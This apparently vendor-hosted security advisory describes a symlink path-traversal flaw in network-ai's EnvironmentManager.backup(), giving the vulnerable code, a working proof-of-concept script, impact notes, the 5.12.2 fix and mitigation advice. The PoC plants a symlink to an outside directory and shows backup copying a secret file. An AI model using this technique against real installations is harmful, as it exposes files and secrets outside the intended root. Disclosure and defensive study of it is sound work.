GHSA-6x2m-p4xp-wg22 is a medium-severity (CVSS 5.5) Path Traversal vulnerability in network-ai. O3 Security confirms whether GHSA-6x2m-p4xp-wg22 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6x2m-p4xp-wg22.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-6x2m-p4xp-wg22 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 370,894 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
network-ainpmDescription
Summary
EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.
An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.
Details
backup() collects file paths and copies them into the backup directory:
const files = this._collectBackupFiles(envDir);
for (const rel of files) {
const src = join(envDir, rel);
const dst = join(backupPath, rel);
mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}
_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():
const info = statSync(full);
if (info.isDirectory()) {
walk(full, rel);
} else {
results.push(rel);
}
Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.
Affected source evidence:
lib/env-manager.ts:435-460— backup copy logic.lib/env-manager.ts:596-617— symlink-following_collectBackupFiles().bin/cli.ts:413-420— default CLI exposes backup creation.lib/env-manager.ts:294-297and483-484— backup also runs before promote/restore.
PoC
This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const outside = path.join(base, 'outside');
fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');
const mgr = new EnvironmentManager(data, {
chain: ['dev', 'st'],
gates: { dev: 'auto', st: 'auto' },
});
mgr.init('dev');
fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');
const result = mgr.backup('dev');
const copied = path.join(result.path, 'linked-outside', 'secret.txt');
console.log(JSON.stringify({
copied: fs.existsSync(copied),
content: fs.readFileSync(copied, 'utf8'),
}, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS
Observed result: copied is true and content is secret-through-symlink.
Impact
An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.
Resolution (maintainer)
Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.
_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | network-ai | all versions | 5.12.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for network-ai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update network-ai to 5.12.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6x2m-p4xp-wg22 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6x2m-p4xp-wg22 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6x2m-p4xp-wg22. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6x2m-p4xp-wg22 in your dependencies?
O3 detects GHSA-6x2m-p4xp-wg22 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.